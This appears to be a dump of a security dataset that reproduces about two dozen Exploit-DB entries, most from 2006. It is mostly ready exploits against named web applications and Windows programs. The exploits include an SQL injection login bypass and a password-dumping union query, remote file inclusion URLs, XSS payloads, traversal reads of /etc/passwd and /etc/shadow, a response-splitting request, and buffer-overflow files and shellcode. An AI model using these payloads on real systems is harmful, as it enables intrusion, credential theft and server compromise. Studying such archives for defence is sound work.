QLWD/code_shield huggingface dataset:
标题: iPlanet Messaging Server - Messenger Express Expression() HTML Injection EDB-ID: 28890 CVE: 2006-5652 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/20838/info

iPlanet Messaging Server Messenger Express is prone to an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker can exploit this issue to execute arbitrary JavaScript in the victim's browser.

<IMG style="width: expression(alert('expression'));"> URL: https://www.exploit-db.com/exploits/28890
标题: Evandor Easy notesManager 0.0.1 - 'login.php?Username' SQL Injection EDB-ID: 28878 CVE: 2006-5662 类型: WEBAPPS 平台: ASP 发布日期: 2006-10-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/20803/info

Easy notesManager is prone to multiple SQL-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in SQL queries. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

Supplying the following to the 'username' field is sufficient to bypass authentication:

dontcare' and 0=1 union select id,login,'0cc175b9c0f1b6a831c399e269772661',grp,salutation,firstname,lastname,email from users where login='superadmin URL: https://www.exploit-db.com/exploits/28878
标题: Evandor Easy notesManager 0.0.1 - Search Page SQL Injection EDB-ID: 28879 CVE: 2006-5662 类型: WEBAPPS 平台: ASP 发布日期: 2006-10-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/20803/info
 
Easy notesManager is prone to multiple SQL-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in SQL queries. 
 
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
 
Supplying the following to the 'search' field will return a list of all users and passwords:

dontcare')) union select 0,login,password,0,0,0,0,0,0,0,0,0,0,0,0,0,0 from users -- URL: https://www.exploit-db.com/exploits/28879
标题: Exhibit Engine 1.22 - 'fstyles.php?toroot' Remote File Inclusion EDB-ID: 28874 CVE: 2006-7184 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/20793/info
 
Exhibit Engine Software is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.
 
A successful exploit of these issues allows an attacker to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.
 
Version 1.22 is vulnerable to these issues; other versions may also be affected.

http://www.example.com/fstyles.php?toroot=shell URL: https://www.exploit-db.com/exploits/28874
标题: Freenews 1.1 - 'Aff_News.php' Remote File Inclusion EDB-ID: 28875 CVE: 2006-5716 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/20795/info

Freenews is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/path/aff_news.php?chemin=shell.txt? URL: https://www.exploit-db.com/exploits/28875
标题: phpFaber CMS 1.3.36 - 'Htmlarea.php' Cross-Site Scripting EDB-ID: 28882 CVE: 2006-5626 类型: WEBAPPS 平台: PHP 发布日期: 2005-10-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/20821/info

phpFaber CMS is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects version 1.3.36; earlier versions may also be vulnerable.

http://www.example.com/cms_images/js/htmlarea/htmlarea.php?vigilon=>"><ScRiPt>alert("XSS")</ScRiPt> URL: https://www.exploit-db.com/exploits/28882
标题: Foresite CMS - 'Index_2.php' Cross-Site Scripting EDB-ID: 28881 CVE: 2006-5643 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/20818/info

ForeSite CMS is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/index_2.php?major_rls=major_rls29 URL: https://www.exploit-db.com/exploits/28881
标题: Exhibit Engine 1.22 - 'fetchsettings.php?toroot' Remote File Inclusion EDB-ID: 28873 CVE: 2006-7184 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/20793/info

Exhibit Engine Software is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.

A successful exploit of these issues allows an attacker to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.

Version 1.22 is vulnerable to these issues; other versions may also be affected.

http://www.example.com/fetchsettings.php?toroot=shell URL: https://www.exploit-db.com/exploits/28873
标题: Actionpoll 1.1.1 - '/db/DataReaderWriter.php?CONFIG_DB' Remote File Inclusion EDB-ID: 28871 CVE: 2007-2064 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/20788/info

Actionpoll is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

Version 1.1.1 is reported affected; other versions may be affected as well.

http://www.example.com/db/DataReaderWriter.php?CONFIG_DB=evilscripts? URL: https://www.exploit-db.com/exploits/28871
标题: Actionpoll 1.1.1 - '/db/PollDB.php?CONFIG_DATAREADERWRITER' Remote File Inclusion EDB-ID: 28872 CVE: 2007-2065 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/20788/info
 
Actionpoll is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.
 
An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.
 
Version 1.1.1 is reported affected; other versions may be affected as well.

http://www.example.com/db/PollDB.php?CONFIG_DATAREADERWRITER=evilscripts? URL: https://www.exploit-db.com/exploits/28872
标题: Snitz Forums 2000 3.4.6 - 'Pop_Mail.asp' SQL Injection EDB-ID: 28857 CVE: 2006-5603 类型: WEBAPPS 平台: ASP 发布日期: 2006-10-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/20712/info

Snitz Forums 2000 is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

Version 3.4.06 is vulnerable to this issue; other versions may also be affected.

NOTE: This BID is being retired because further analysis reveals that this issue is not exploitable.

http://www.example.com/pop_mail.asp?RC=[sql] URL: https://www.exploit-db.com/exploits/28857
标题: MAXdev MD-Pro 1.0.76 - 'user.php' Cross-Site Scripting EDB-ID: 28863 CVE: 2006-5564 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-26 漏洞利用脚本: MAXdev MD-Pro is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Maxdev MD-Pro 1.0.76 is vulnerable; earlier versions may also be affected.

http://www.example.com/user.php?uname=1&module=NS-LostPassword&op=[code] URL: https://www.exploit-db.com/exploits/28863
标题: Web Wiz Forum 6.34/7.x - 'search.asp' SQL Injection EDB-ID: 28869 CVE: 2006-5635 类型: WEBAPPS 平台: ASP 发布日期: 2006-10-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/20778/info

Web Wiz Forum is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/forum/search.asp?KW=|SQL| URL: https://www.exploit-db.com/exploits/28869
标题: ALLPlayer 5.6.2 - '.m3u' Local Buffer Overflow (PoC) EDB-ID: 28855 CVE: 2013-7409 类型: DOS 平台: WINDOWS 发布日期: 2013-10-10 漏洞利用脚本: Title: ALLPlayer Local Buffer Overflow PoC UNICODE 
Vendor: http://www.allplayer.org/download/allplayer
Date found:     09.10.2013
Date published: 09.10.2013
Platform: windows 7 German
Bug: Buffer Overflow UNICODE
----------------------------
 
1)VERSIONS AFFECTED
----
ALLPlayer 5.6.2

2)Proof of Concept
------------------
 
junk = "http://"

buffer="\x41" * 5000

exploit = junk + buffer 

try:
    out_file = open("ALLPlayer_Poc.m3u",'w')
    out_file.write(exploit)
    out_file.close()
    print "Exploit file created!" 
except:
    print "Error"

3)-(DEBUG)
----------
(1e60.1dec): Access violation - code c0000005 (!!! second chance !!!)
*** WARNING: Unable to verify checksum for C:\Program Files\ALLPlayer\ALLPlayer.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\ALLPlayer\ALLPlayer.exe
eax=00000000 ebx=00000000 ecx=00410041 edx=770d720d esi=00000000 edi=00000000
eip=00410041 esp=000311c4 ebp=000311e4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210246
ALLPlayer+0x10041:
00410041 008bc0ff2504    add     byte ptr [ebx+425FFC0h],cl ds:0023:0425ffc0=??
0:000> !exchain
---------------
0012e4b0: ALLPlayer+1b7037 (005b7037)
0012e734: ALLPlayer+10041 (00410041)
Invalid exception stack at 00410041

4)Credits
---------
metacom
Contact : metacom27 at gmail.com URL: https://www.exploit-db.com/exploits/28855
标题: Simpnews 2.x - 'index.php' Cross-Site Scripting EDB-ID: 28858 CVE: 2006-5530 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/20714/info

SimpNews is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input data.

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

SimpNews versions prior to 2.34.01 are vulnerable.

http://www.example.com/simpnews/admin/index.php?vigilon=>"><ScRiPt>alert("XSS")</ScRiPt> URL: https://www.exploit-db.com/exploits/28858
标题: Simpnews 2.x - 'pwlost.php' Cross-Site Scripting EDB-ID: 28859 CVE: 2006-5530 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/20714/info
 
SimpNews is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
 
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
SimpNews versions prior to 2.34.01 are vulnerable.

http://www.example.com/simpnews/admin/pwlost.php/%3E%22%3E%3CScRiPt%3Ealert("XSS")%3C/ScRiPt%3E URL: https://www.exploit-db.com/exploits/28859
标题: PHPLeague 0.81 - '/consult/miniseul.php?cheminmini' Remote File Inclusion EDB-ID: 28864 CVE: 2006-6416 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/20756/info

Php League is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

Version 0.81 is vulnerable to these issues; other versions may also be affected.

http://www.example.com/consult/miniseul.php?cheminmini=http://www.example2.com URL: https://www.exploit-db.com/exploits/28864
标题: TorrentFlux 2.1 - 'dir.php' Directory Traversal EDB-ID: 28867 CVE: 2006-5609 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/20771/info

TorrentFlux is prone to a directory-traversal vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the affected application. Information obtained may aid attackers in further attacks.

TorrentFlux 2.1 is reported vulnerable; other versions may be affected as well.

http://www.example.com/torrentfluxroot/dir.php?dir=\.\./\.\./\.\./etc/ URL: https://www.exploit-db.com/exploits/28867
标题: Cruiseworks 1.09 - 'Cws.exe' Doc Buffer Overflow EDB-ID: 28850 CVE: 2006-5571 类型: REMOTE 平台: WINDOWS 发布日期: 2006-10-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/20699/info

Cruiseworks is prone to a remote buffer-overflow vulnerability. 

Specifically, the application fails to validate input passed to the 'doc' parameter of the '/scripts/cruise/cms.exe' application. 

Cruiseworks 1.09c and 1.09d are reported vulnerable; other versions may be affected as well.

http://www.example.com/Scripts/cruise/cws.exe?doc=%90%EB%5E%60%8B%5C%24%28%8B%73%3C%8B%74%33%78%03%F3%8B%7E
%20%03%FB%8B%4E%18%56%33%D2%8B%37%03%74%24%2C%33%DB%33%C0%AC%85%C0%74%09%C1%CB%0C%D1%CB%03%D8%EB%F0%3B%5C
%24%28%74%0B%83%C7%04%42%E2%DC%5E%33%C0%EB%1A%5E%8B%7E%24%03%7C%24%28%66%8B%04%57%8B%7E%1C%03%7C%24%28%8B
%04%87%01%44%24%28%61%C3%8B%EC%33%C9%B1%C8%2B%E1%B1%30%64%8B%01%8B%40%0C%8B%70%1C%AD%8B%78%08%57%68%33%CA
%8A%5B%E8%80%FF%FF%FF%58%58%33%C9%66%B9%90%01%2B%E1%54%51%FF%D0%8B%F4%03%F0%C7%06%41%41%41%41%C7%46%04%42
%42%42%42%C7%46%08%42%42%42%42%33%DB%89%5E%0C%33%C9%B1%14%B8%01%01%01%01%01%46%08%51%57%BB%A5%17%FF%7C%33
%C0%B0%FF%C1%E0%10%33%D8%53%E8%33%FF%FF%FF%58%58%33%DB%59%8B%D4%51%53%53%6A%02%53%53%53%52%FF%D0%59%E2%CD
%57%68%8E%4E%0E%EC%E8%13%FF%FF%FF%58%58%BB%AA%AA%6C%6C%C1%EB%10%53%68%33%32%2E%64%68%75%73%65%72%54%FF%D0
%8B%F0%56%68%57%A0%B5%BB%E8%EE%FE%FF%FF%58%58%6A%FF%FF%D0%57%68%B0%49%2D%DB%E8%DD%FE%FF%FF%58%58%33%DB%66
%BB%E8%03%53%FF%D0%EB%D7%57%68%7E%D8%E2%73%E8%C5%FE%FF%FF%58%58%FF%D0%41%41%41%41%41%41%41%41%41%41%41%41
%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41
%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41
%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41
%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41
%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41
%41%41%41%41%41%41%41%41%41%41%41%63%15%f8%77%41%7C%3E%90%7C URL: https://www.exploit-db.com/exploits/28850
标题: Zwahlen's Online Shop 5.2.2 - 'Cat' Cross-Site Scripting EDB-ID: 28842 CVE: 2006-5512 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/20682/info

Zwahlen's Online Shop is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

The freeware version 5.2.2 is reported vulnerable; other versions may also be affected.

http://www.example.com/article.htm?cat=<script>alert("fix your bugs!")</script> URL: https://www.exploit-db.com/exploits/28842
标题: SchoolAlumni Portal 2.26 - 'mod.php?mod' Traversal Local File Inclusion EDB-ID: 28840 CVE: 2006-5528 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/20673/info
 
SchoolAlumni portal is prone to multiple input-validation vulnerabilities because the application fails to sufficiently sanitize user-supplied input. These issues include a local file-include vulnerability and a cross-site scripting vulnerability. 
 
A successful exploit may allow an attacker to compromise the application, access sensitive information, execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, and launch other attacks.
 
Version 2.26 is vulnerable to this issue; other versions may also be affected.

http://www,example.com/mod.php?mod=../../../../../../../../../../../../../etc/passwd%00 URL: https://www.exploit-db.com/exploits/28840
标题: cPanel 10.9 - 'dosetmytheme?theme' Cross-Site Scripting EDB-ID: 28843 CVE: 2006-5535 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/20683/info

cPanel is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

cPanel version 10.9.0 is vulnerable; other versions may also be affected.

http://www.example.com:2082/scripts/dosetmytheme?theme=[XssCodes] URL: https://www.exploit-db.com/exploits/28843
标题: Shop-Script - Multiple HTTP Response Splitting Vulnerabilities EDB-ID: 28845 CVE: 2006-5566 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/20685/info

Shop-Script is prone to multiple HTTP response-splitting vulnerabilities because the application fails to properly sanitize user-supplied input. 

A remote attacker may exploit this vulnerability to influence or misrepresent how web content is served, cached, or interpreted. This could aid in various attacks that attempt to entice client users into a false sense of trust.

[Request Header] 

POST /premium/index.php?links_exchange=%0d%0aFakeHeader:Fake_Custom_Header 
HTTP/1.0 
Accept: */* 
Content-Type: application/x-www-form-urlencoded 
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET 
CLR 1.1.4322) 
Host: www.example.comhttp://www.shop-script-demo.com/
Content-Length: 18 
Cookie: PHPSESSID=e0d1c748db4ce6fa7886403e65458aaa 
Connection: Close 
Pragma: no-cache 

current_currency=1 


[Response Header] 

HTTP/1.1 302 Found 
Date: Mon, 16 Oct 2006 17:39:57 GMT 
Server: Apache 
Expires: Thu, 19 Nov 1981 08:52:00 GMT 
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, 
pre-check=0 
Pragma: no-cache 
Location: index.php?links_exchange= 
FakeHeader:Fake_Custom_Header <= [Custome response 
injected by the attacker] 
Content-Length: 0 
Connection: close 
Content-Type: text/html URL: https://www.exploit-db.com/exploits/28845
标题: INCA IM-204 - Information Disclosure EDB-ID: 28848 CVE: 2006-5512 类型: REMOTE 平台: HARDWARE 发布日期: 2006-10-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/20696/info

INCA IM-204 devices are prone to a remote information-disclosure vulnerability because the devices fail to properly sanitize user-supplied input.

Exploiting this issue allows remote, unauthenticated attackers to gain access to potentially sensitive configuration information from affected devices. This may aid them in further attacks.

This BID may be related to BID 20689; the issues are very similar in nature.

http://www.example.com/cgi-bin/webcm?getpage=/./././././././etc/passwd
http://www.example.com/cgi-bin/webcm?getpage=/./././././././etc/shadow
http://www.example.com/cgi-bin/webcm?getpage=/./././././././etc/config.xml URL: https://www.exploit-db.com/exploits/28848
标题: WikiNi 0.4.x - 'Waka.php' Multiple HTML Injection Vulnerabilities EDB-ID: 28846 CVE: 2006-5516 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/20688/info

WikiNi is prone to multiple HTML-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input data before using it in dynamically generated content.

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may allow an attacker to steal cookie-based authentication credentials, control how the site is rendered, and launch other attacks.

WikiNi versions prior to 0.4.4 are vulnerable.

<form method="POST" enctype="application/x-www-form-urlencoded" action="http://www.example.com/wakka.php"> <input type="hidden" name="wiki" value="ParametresUtilisateur"> <input type="hidden" name="action" value="login"> <input type="hidden" name="name" value=">"><script>alert('XSS Vulnerable');</script>" <input type="submit" value="Submit" name="submit"> </form> </body> </html> <html> <body> <form method="POST" enctype="application/x-www-form-urlencoded" action="http://www.example.com/wakka.php"> <input type="hidden" name="wiki" value="ParametresUtilisateur"> <input type="hidden" name="action" value="login"> <input type="hidden" name="email" value=">"><script>alert('XSS Vulnerable');</script>" <input type="submit" value="Submit" name="submit"> </form> </body> </html> URL: https://www.exploit-db.com/exploits/28846
标题: SchoolAlumni Portal 2.26 - '/smumdadotcom_ascyb_alumni/mod.php?katalog Module query' Cross-Site Scripting EDB-ID: 28839 CVE: 2006-5529 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/20673/info

SchoolAlumni portal is prone to multiple input-validation vulnerabilities because the application fails to sufficiently sanitize user-supplied input. These issues include a local file-include vulnerability and a cross-site scripting vulnerability. 

A successful exploit may allow an attacker to compromise the application, access sensitive information, execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, and launch other attacks.

Version 2.26 is vulnerable to this issue; other versions may also be affected.

http://www.example.com//smumdadotcom_ascyb_alumni/mod.php?mod=katalog&op=search&query=[xss] URL: https://www.exploit-db.com/exploits/28839
标题: cPanel 10.9 - 'editzonetemplate?template' Cross-Site Scripting EDB-ID: 28844 CVE: 2006-5535 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/20683/info
 
cPanel is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
cPanel version 10.9.0 is vulnerable; other versions may also be affected.

http://www.example.com:2082/scripts2/editzonetemplate?template=[XssCodes] URL: https://www.exploit-db.com/exploits/28844